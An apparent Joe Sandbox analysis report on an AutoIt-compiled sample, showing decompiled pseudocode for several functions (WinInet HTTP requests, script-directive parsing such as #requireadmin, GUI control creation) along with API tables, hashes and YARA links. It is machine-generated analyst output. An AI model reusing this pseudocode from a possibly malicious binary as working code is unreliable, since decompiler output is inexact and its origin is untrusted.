                                                                                                                                                                            • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 86%
                                                                                                                                                                            			E0044AA1F(void** _a4, intOrPtr _a8) {
				void _v52;
				long _v56;
				void _v68;
				long _v72;
				char _v76;
				char _v88;
				intOrPtr _v104;
				void* _v108;
				void _v120;
				char _v124;
				char _v140;
				char _v144;
				char _v156;
				char _v164;
				void* __ebp;
				void* _t38;
				void* _t39;
				void* _t41;
				void* _t48;
				void* _t52;
				void* _t59;
				void* _t65;
				DWORD* _t79;
				void** _t82;
				intOrPtr _t83;
				long _t84;

				_t83 = _a8;
				_t82 = _a4;
				_t84 = _t82[0x15];
				if( *((intOrPtr*)(_t83 + 0x74)) == 4) {
					_t84 = _t84 | 0x00800000;
				}
				_t38 = InternetConnectW(_t82[1],  *(_t83 + 0x10),  *(_t83 + 0x78) & 0x0000ffff,  *(_t83 + 0x20),  *(_t83 + 0x30),  *(_t83 + 0x70), 0, 0);
				 *_t82 = _t38;
				_push(0);
				if(_t38 != 0) {
					_t39 = HttpOpenRequestW(_t38, 0,  *(_t83 + 0x60), 0, 0, 0, _t84, ??);
					_t65 = _t39;
					_v108 = _t65;
					_v104 =  *0x482748;
					if(_t65 != 0) {
						if(_v52 != 0) {
							E00442AA9(_t82, _t65, _t83);
						}
						if((_t84 & 0x00001000) != 0) {
							_v56 = 4;
							InternetQueryOptionW(_t65, 0x1f,  &_v52,  &_v56);
							_v68 = _v68 | 0x00000100;
							InternetSetOptionW(_t65, 0x1f,  &_v68, 4);
						}
						if(HttpSendRequestW(_t65, 0, 0, 0, 0) == 0 || E00434A55(_t65) != 0xc8) {
							_push(0);
							_t41 = E0044286A(_t82, 0xd, 0xdeadbeef);
							E004349C7( &_v144);
							return _t41;
						} else {
							_t79 =  &_v76;
							_v72 = 0;
							_v76 = 0x20;
							HttpQueryInfoW(_t65, 5,  &_v120, _t79,  &_v72);
							_t82[4] = E0041343C( &_v140);
							_t82[5] = _t79;
							if(_v88 == 0) {
								_push(1);
								_t48 = E0044286A(_t82, 0, 0);
								E004349C7( &_v164);
								return _t48;
							} else {
								_t52 = E00442A81(_t79, _t84, _t82, _t65);
								E004349C7( &_v156);
								return _t52;
							}
						}
					} else {
						_push(_t39);
						_t59 = E0044286A(_t82, 0xc, 0xdeadbeef);
						E004349C7( &_v124);
						return _t59;
					}
				} else {
					return E0044286A(_t82, 0xb, 0xdeadbeef);
				}
			}





























                                                                                                                                                                            0x0044aa25
                                                                                                                                                                            0x0044aa2e
                                                                                                                                                                            0x0044aa32
                                                                                                                                                                            0x0044aa35
                                                                                                                                                                            0x0044aa37
                                                                                                                                                                            0x0044aa37
                                                                                                                                                                            0x0044aa5a
                                                                                                                                                                            0x0044aa60
                                                                                                                                                                            0x0044aa62
                                                                                                                                                                            0x0044aa66
                                                                                                                                                                            0x0044aa8d
                                                                                                                                                                            0x0044aa99
                                                                                                                                                                            0x0044aa9b
                                                                                                                                                                            0x0044aa9f
                                                                                                                                                                            0x0044aaa5
                                                                                                                                                                            0x0044aad2
                                                                                                                                                                            0x0044aad7
                                                                                                                                                                            0x0044aad7
                                                                                                                                                                            0x0044aae2
                                                                                                                                                                            0x0044aaf1
                                                                                                                                                                            0x0044aaf9
                                                                                                                                                                            0x0044aaff
                                                                                                                                                                            0x0044ab11
                                                                                                                                                                            0x0044ab11
                                                                                                                                                                            0x0044ab28
                                                                                                                                                                            0x0044abc4
                                                                                                                                                                            0x0044abce
                                                                                                                                                                            0x0044abda
                                                                                                                                                                            0x0044abe8
                                                                                                                                                                            0x0044ab3f
                                                                                                                                                                            0x0044ab44
                                                                                                                                                                            0x0044ab51
                                                                                                                                                                            0x0044ab59
                                                                                                                                                                            0x0044ab61
                                                                                                                                                                            0x0044ab79
                                                                                                                                                                            0x0044ab7c
                                                                                                                                                                            0x0044ab7f
                                                                                                                                                                            0x0044aba0
                                                                                                                                                                            0x0044aba7
                                                                                                                                                                            0x0044abb3
                                                                                                                                                                            0x0044abc1
                                                                                                                                                                            0x0044ab81
                                                                                                                                                                            0x0044ab83
                                                                                                                                                                            0x0044ab8f
                                                                                                                                                                            0x0044ab9d
                                                                                                                                                                            0x0044ab9d
                                                                                                                                                                            0x0044ab7f
                                                                                                                                                                            0x0044aaa7
                                                                                                                                                                            0x0044aaa7
                                                                                                                                                                            0x0044aab0
                                                                                                                                                                            0x0044aabc
                                                                                                                                                                            0x0044aaca
                                                                                                                                                                            0x0044aaca
                                                                                                                                                                            0x0044aa68
                                                                                                                                                                            0x0044aa7c
                                                                                                                                                                            0x0044aa7c

                                                                                                                                                                            APIs
                                                                                                                                                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                                            • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                                            • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                                            • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                                            • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                                              • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1291720006-3916222277
                                                                                                                                                                            • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                            • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                                            • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                            • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 79%
                                                                                                                                                                            			E0047D2F8(void* __eflags, void* __fp0, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr* _v0;
				intOrPtr _v8;
				char _v144;
				char _v148;
				char _v152;
				char _v160;
				void* _v172;
				void* _v176;
				signed int _v180;
				char _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v204;
				char _v208;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t58;
				char* _t78;
				void* _t89;
				void* _t92;
				void* _t94;
				signed int _t95;
				char* _t96;
				void* _t97;
				signed int _t104;
				char* _t123;
				intOrPtr _t128;
				void* _t140;

				_t140 = __fp0;
				_t130 =  &_v192;
				_t128 = _a12;
				_push( &_v148);
				_push( &_v172);
				_t99 = _a8;
				_push( &_v176);
				_t111 = _a4;
				_push( &_v152);
				if(E004646A2(_t94, _a4, __eflags, _a4, _a8) == 0) {
					L18:
					__eflags = 0;
					return 0;
				} else {
					_v184 = 0x487630;
					_v180 = 0;
					_v176 = 0;
					_v172 = 0;
					if(_a8 == 2) {
						_t125 =  *((intOrPtr*)(_a4 + 4));
						if(E00442FA3( *((intOrPtr*)(_a4 + 4))) != 0 && E004354DD(_t125, 0) == 1) {
							_t96 =  &_v208;
							E0040BD50(_t125, _t96, _t99, 0);
							_push(0);
							_push(1);
							_push(1);
							_push(_t96);
							_t89 = E004115D0(_t111, E00453081(E0040D030()), L"CALLARGARRAY");
							_t130 =  &_v192 + 0x18;
							if(_t89 == 0) {
								_t97 = 1;
								while(1) {
									_t111 =  &_v208;
									if(_t97 >= E004354DD(_t111, 1)) {
										break;
									}
									_push(_t97);
									_push(1);
									_push(1);
									_push(_t111);
									_t92 = E0040D030();
									_t130 = _t130 + 0x10;
									E0040BE00(_t97, _t99, 0,  &_v184, _t128, _t92);
									_t97 = _t97 + 1;
								}
								_a4 = 0;
							}
							E004092C0(0,  &_v208);
						}
					}
					_t95 = _a4;
					_t58 = _a8 - _t95;
					__eflags = _t58 - _v188;
					if(_t58 < _v188) {
						L17:
						_t52 =  &_v184; // 0x487630
						E00410AE0(_t52, _t111, 0);
						goto L18;
					} else {
						__eflags = _t58 - _v192;
						if(__eflags > 0) {
							goto L17;
						} else {
							_t124 =  &_v208;
							E00401B70(_t95, _v8,  &_v208, __eflags);
							_t120 = "(";
							E0040D330( &_v208, _t95, "(", _t140);
							__eflags = _t95 - _a8;
							while(_t95 < _a8) {
								E004157BB( &_v144, _t120, _t124,  &_v144, 0x40, L"AUTOITCALLVARIABLE%d", _t95);
								_t130 = _t130 + 0x10;
								_t124 =  &_v160;
								E00401B70(_t95,  &_v144,  &_v160, __eflags);
								E004019E0(1, 0,  *((intOrPtr*)(_a4 + _t95 * 4)),  &_v160);
								E00402620( &_v160);
								_t78 =  &_v208;
								_t123 = "$";
								__eflags = _t95 - _a4;
								if(_t95 != _a4) {
									_t123 = L", $";
								}
								E0040D330(_t78, _t95, _t123, _t140);
								_t120 =  &_v144;
								E0040D330( &_v208, _t95,  &_v144, _t140);
								_t95 = _t95 + 1;
								__eflags = _t95 - _a8;
							}
							E0040D330( &_v208, _t95, ")", _t140);
							_t104 =  ~(0 | __eflags > 0x00000000) | (_v204 + 0x00000001) * 0x00000002;
							__eflags = _t104;
							_push(_t104);
							 *_v0 = E0041171A(_t95, ")", _t104);
							E00411691(_t68, _v208);
							E00402620( &_v208);
							E00410AE0( &_v184, _v208, ")");
							return 1;
						}
					}
				}
			}

































                                                                                                                                                                            0x0047d2f8
                                                                                                                                                                            0x0047d2f8
                                                                                                                                                                            0x0047d300
                                                                                                                                                                            0x0047d30d
                                                                                                                                                                            0x0047d312
                                                                                                                                                                            0x0047d313
                                                                                                                                                                            0x0047d31e
                                                                                                                                                                            0x0047d31f
                                                                                                                                                                            0x0047d32a
                                                                                                                                                                            0x0047d334
                                                                                                                                                                            0x0047d505
                                                                                                                                                                            0x0047d505
                                                                                                                                                                            0x0047d50e
                                                                                                                                                                            0x0047d33a
                                                                                                                                                                            0x0047d340
                                                                                                                                                                            0x0047d348
                                                                                                                                                                            0x0047d34c
                                                                                                                                                                            0x0047d350
                                                                                                                                                                            0x0047d354
                                                                                                                                                                            0x0047d35d
                                                                                                                                                                            0x0047d368
                                                                                                                                                                            0x0047d37c
                                                                                                                                                                            0x0047d380
                                                                                                                                                                            0x0047d385
                                                                                                                                                                            0x0047d386
                                                                                                                                                                            0x0047d388
                                                                                                                                                                            0x0047d38a
                                                                                                                                                                            0x0047d39f
                                                                                                                                                                            0x0047d3a4
                                                                                                                                                                            0x0047d3a9
                                                                                                                                                                            0x0047d3ab
                                                                                                                                                                            0x0047d3ae
                                                                                                                                                                            0x0047d3b0
                                                                                                                                                                            0x0047d3bc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047d3be
                                                                                                                                                                            0x0047d3bf
                                                                                                                                                                            0x0047d3c1
                                                                                                                                                                            0x0047d3c3
                                                                                                                                                                            0x0047d3c4
                                                                                                                                                                            0x0047d3c9
                                                                                                                                                                            0x0047d3d1
                                                                                                                                                                            0x0047d3d6
                                                                                                                                                                            0x0047d3d6
                                                                                                                                                                            0x0047d3dd
                                                                                                                                                                            0x0047d3dd
                                                                                                                                                                            0x0047d3e8
                                                                                                                                                                            0x0047d3e8
                                                                                                                                                                            0x0047d368
                                                                                                                                                                            0x0047d3f0
                                                                                                                                                                            0x0047d3f7
                                                                                                                                                                            0x0047d3f9
                                                                                                                                                                            0x0047d3fd
                                                                                                                                                                            0x0047d4f9
                                                                                                                                                                            0x0047d4f9
                                                                                                                                                                            0x0047d4fd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047d403
                                                                                                                                                                            0x0047d403
                                                                                                                                                                            0x0047d407
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047d40d
                                                                                                                                                                            0x0047d414
                                                                                                                                                                            0x0047d418
                                                                                                                                                                            0x0047d41d
                                                                                                                                                                            0x0047d424
                                                                                                                                                                            0x0047d429
                                                                                                                                                                            0x0047d42c
                                                                                                                                                                            0x0047d43b
                                                                                                                                                                            0x0047d440
                                                                                                                                                                            0x0047d447
                                                                                                                                                                            0x0047d44b
                                                                                                                                                                            0x0047d45d
                                                                                                                                                                            0x0047d464
                                                                                                                                                                            0x0047d469
                                                                                                                                                                            0x0047d46d
                                                                                                                                                                            0x0047d472
                                                                                                                                                                            0x0047d479
                                                                                                                                                                            0x0047d47b
                                                                                                                                                                            0x0047d47b
                                                                                                                                                                            0x0047d480
                                                                                                                                                                            0x0047d485
                                                                                                                                                                            0x0047d48d
                                                                                                                                                                            0x0047d492
                                                                                                                                                                            0x0047d493
                                                                                                                                                                            0x0047d493
                                                                                                                                                                            0x0047d4a1
                                                                                                                                                                            0x0047d4b9
                                                                                                                                                                            0x0047d4b9
                                                                                                                                                                            0x0047d4bb
                                                                                                                                                                            0x0047d4ce
                                                                                                                                                                            0x0047d4d0
                                                                                                                                                                            0x0047d4dc
                                                                                                                                                                            0x0047d4e5
                                                                                                                                                                            0x0047d4f6
                                                                                                                                                                            0x0047d4f6
                                                                                                                                                                            0x0047d407
                                                                                                                                                                            0x0047d3fd

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                                            • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                                            • API String ID: 1729044348-3708979750
                                                                                                                                                                            • Opcode ID: 1c3d7f6b973666ebbe75c72f9494efe52155669fb98b0a0396ef37ade3a5954b
                                                                                                                                                                            • Instruction ID: ee167683669ee8acd09c1b5f7e36e5ff8060cf38fed78844f66c8cafce8ff42b
                                                                                                                                                                            • Opcode Fuzzy Hash: 1c3d7f6b973666ebbe75c72f9494efe52155669fb98b0a0396ef37ade3a5954b
                                                                                                                                                                            • Instruction Fuzzy Hash: F451A471514300ABD610EF25C881ADFB3A4EFC4348F048D2FF54967191D779E94A8BAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00450E7D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 50%
                                                                                                                                                                            			E00450E7D(intOrPtr* _a4, struct HWND__** _a8, intOrPtr _a12, WCHAR* _a16, int _a20, int _a24, int _a28, int _a32, signed int _a36, intOrPtr _a40) {
				void* _t22;
				signed int _t23;
				signed int _t24;
				intOrPtr* _t42;
				struct HWND__** _t54;
				long _t55;
				intOrPtr _t56;
				struct HDC__* _t57;
				int _t58;

				_t20 = _a36;
				_t42 = _a4;
				_t58 = _a24;
				_t56 = _a40;
				_t54 = _a8;
				if(_a36 == 0xffffffff) {
					_t20 = 0x100;
				}
				_t22 = E004491CB(_t20 | 0x0000000e);
				if(_t56 == 0xffffffff) {
					_t56 = 0;
				}
				_t23 = E0043362D(_t42, _t56, L"static", 0, _t22, _a20, _t58, 0, 0, _a12, 0);
				 *_t54 = _t23;
				if(_t23 != 0) {
					_t24 = _t23 | 0xffffffff;
					if(_a28 == _t24) {
						_a28 = 0x96;
					}
					if(_a32 == _t24) {
						_a32 = 0x96;
					}
					if( *0x4a83e0 == 0) {
						_t54[0x1f] = 0x300;
					}
					if(E004334CA(_t54, _a16,  &_a28,  &_a32) == 0) {
						 *0x482604( *_t54);
						return 0;
					} else {
						MoveWindow( *_t54, _a20, _t58, _a28, _a32, 0);
						_t57 =  *0x4820f0(0);
						SelectObject(_t57, SendMessageW( *_t54, 0x173, 0, 0));
						_t55 = GetPixel(_t57, 0, 0);
						DeleteDC(_t57);
						_push(0xffffffec);
						_push( *_t42);
						if(( *0x482718() & 0x00080000) != 0) {
							 *0x4824dc( *_t42, _t55, 0, 1);
						}
						return 1;
					}
				} else {
					return 0;
				}
			}












                                                                                                                                                                            0x00450e7d
                                                                                                                                                                            0x00450e82
                                                                                                                                                                            0x00450e87
                                                                                                                                                                            0x00450e8c
                                                                                                                                                                            0x00450e91
                                                                                                                                                                            0x00450e98
                                                                                                                                                                            0x00450e9a
                                                                                                                                                                            0x00450e9a
                                                                                                                                                                            0x00450ea3
                                                                                                                                                                            0x00450eab
                                                                                                                                                                            0x00450ead
                                                                                                                                                                            0x00450ead
                                                                                                                                                                            0x00450eca
                                                                                                                                                                            0x00450ecf
                                                                                                                                                                            0x00450ed3
                                                                                                                                                                            0x00450ef0
                                                                                                                                                                            0x00450efc
                                                                                                                                                                            0x00450efe
                                                                                                                                                                            0x00450efe
                                                                                                                                                                            0x00450f06
                                                                                                                                                                            0x00450f08
                                                                                                                                                                            0x00450f08
                                                                                                                                                                            0x00450f13
                                                                                                                                                                            0x00450f1a
                                                                                                                                                                            0x00450f1a
                                                                                                                                                                            0x00450f35
                                                                                                                                                                            0x00450ee1
                                                                                                                                                                            0x00450eed
                                                                                                                                                                            0x00450f37
                                                                                                                                                                            0x00450f4c
                                                                                                                                                                            0x00450f66
                                                                                                                                                                            0x00450f70
                                                                                                                                                                            0x00450f82
                                                                                                                                                                            0x00450f84
                                                                                                                                                                            0x00450f8c
                                                                                                                                                                            0x00450f8e
                                                                                                                                                                            0x00450f9a
                                                                                                                                                                            0x00450fa4
                                                                                                                                                                            0x00450fa4
                                                                                                                                                                            0x00450fb0
                                                                                                                                                                            0x00450fb0
                                                                                                                                                                            0x00450ed8
                                                                                                                                                                            0x00450edb
                                                                                                                                                                            0x00450edb

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: static
                                                                                                                                                                            • API String ID: 0-2160076837
                                                                                                                                                                            • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                            • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                                                                                                                            • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                            • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E0044C80C(void* __ecx, void* __edx, void* __edi, void* __ebp, char* _a4, intOrPtr _a8) {
				void* __ebx;
				void* __esi;
				short _t15;
				signed int _t22;
				char* _t34;
				void* _t36;
				void* _t46;
				intOrPtr _t48;
				void* _t49;

				_t36 = __ecx;
				_t34 = _a4;
				_t48 = _a8;
				if(E004136BC(__edx, _t48, L"#notrayicon", 0xb) != 0) {
					_t15 = E004136BC(__edx, _t48, L"#requireadmin", 0xd);
					__eflags = _t15;
					if(_t15 != 0) {
						__eflags = E004136BC(__edx, _t48, L"#OnAutoItStartRegister", 0x16);
						if(__eflags != 0) {
							goto L8;
						} else {
							_push(__edi);
							_t44 = _t48 + 0x2c;
							_t49 = E0040FFF0(_t34, _t48 + 0x2c, __eflags);
							E004450B6(_t36, __eflags, _t49);
							E00445111(_t36, __eflags, _t49);
							_t22 = E004112D5(_t49) - 1;
							__eflags =  *((short*)(_t49 + _t22 * 2)) - 0x22;
							if(__eflags != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 4)))) + 8))))(_t49);
								E004112EF( *((intOrPtr*)(_t34 + 4)),  *((intOrPtr*)( *((intOrPtr*)(_t34 + 4)))), _t44, _t49, __eflags, _t49);
								return 1;
							} else {
								__eflags = 0;
								_t6 = _t49 + 2; // 0x2
								_t46 = _t6;
								 *((short*)(_t49 + _t22 * 2)) = 0;
								E004450B6(0, 0, _t46);
								E00445111(0, __eflags, _t46);
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 + 4)))) + 8))))(_t46);
								E004112EF(_t34,  *((intOrPtr*)( *((intOrPtr*)(_t34 + 4)))), _t46, _t49, __eflags, _t49);
								return 1;
							}
						}
					} else {
						 *((char*)(_t34 + 1)) = 1;
						L8:
						return 1;
					}
				} else {
					 *_t34 = 1;
					return 1;
				}
			}












                                                                                                                                                                            0x0044c80c
                                                                                                                                                                            0x0044c80d
                                                                                                                                                                            0x0044c812
                                                                                                                                                                            0x0044c828
                                                                                                                                                                            0x0044c8d8
                                                                                                                                                                            0x0044c8e0
                                                                                                                                                                            0x0044c8e2
                                                                                                                                                                            0x0044c84b
                                                                                                                                                                            0x0044c84d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c853
                                                                                                                                                                            0x0044c853
                                                                                                                                                                            0x0044c854
                                                                                                                                                                            0x0044c85c
                                                                                                                                                                            0x0044c85f
                                                                                                                                                                            0x0044c865
                                                                                                                                                                            0x0044c870
                                                                                                                                                                            0x0044c874
                                                                                                                                                                            0x0044c879
                                                                                                                                                                            0x0044c8ba
                                                                                                                                                                            0x0044c8bd
                                                                                                                                                                            0x0044c8cd
                                                                                                                                                                            0x0044c87b
                                                                                                                                                                            0x0044c87b
                                                                                                                                                                            0x0044c87d
                                                                                                                                                                            0x0044c87d
                                                                                                                                                                            0x0044c881
                                                                                                                                                                            0x0044c885
                                                                                                                                                                            0x0044c88b
                                                                                                                                                                            0x0044c899
                                                                                                                                                                            0x0044c89c
                                                                                                                                                                            0x0044c8ac
                                                                                                                                                                            0x0044c8ac
                                                                                                                                                                            0x0044c879
                                                                                                                                                                            0x0044c8e8
                                                                                                                                                                            0x0044c8e8
                                                                                                                                                                            0x0044c8ed
                                                                                                                                                                            0x0044c8f3
                                                                                                                                                                            0x0044c8f3
                                                                                                                                                                            0x0044c82f
                                                                                                                                                                            0x0044c82f
                                                                                                                                                                            0x0044c838
                                                                                                                                                                            0x0044c838

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsnicmp
                                                                                                                                                                            • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                                                                                            • API String ID: 1038674560-2734436370
                                                                                                                                                                            • Opcode ID: 50e2765e0d5f566ddac01b52528ed710a9cbbf12bf3164d020fa35ec44ad7cab
                                                                                                                                                                            • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                                                                                            • Opcode Fuzzy Hash: 50e2765e0d5f566ddac01b52528ed710a9cbbf12bf3164d020fa35ec44ad7cab
                                                                                                                                                                            • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00448DAF Relevance: 12.2, APIs: 8, Instructions: 173windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 81%
                                                                                                                                                                            			E00448DAF(void* __eflags, signed int _a4, long _a8) {
				intOrPtr _v4;
				signed int _v8;
				signed int _t40;
				long _t44;
				signed int _t45;
				intOrPtr _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				struct HWND__** _t64;

				if(E0044213B(0x4a83d8, _a4,  &_a4,  &_v8) == 0) {
					L27:
					__eflags = 0;
					return 0;
				} else {
					_t40 = _a4;
					_t56 =  *0x4a8438; // 0x0
					_t57 =  *0x4a844c; // 0x2f019d0
					_t64 =  *( *(_t57 + _v8 * 4));
					_t63 =  *_t64;
					_v4 =  *((intOrPtr*)( *((intOrPtr*)(_t56 + _t40 * 4))));
					_a4 = _t64[0x22];
					E00435BC8( &_a8);
					_t44 = _t64[0x11];
					_t71 = _t44;
					if(_t44 >= 0) {
						E004419ED(_t71, _t44);
					}
					_t45 = _a4 & 0x000000ff;
					if(_t45 > 0x1b) {
						goto L27;
					} else {
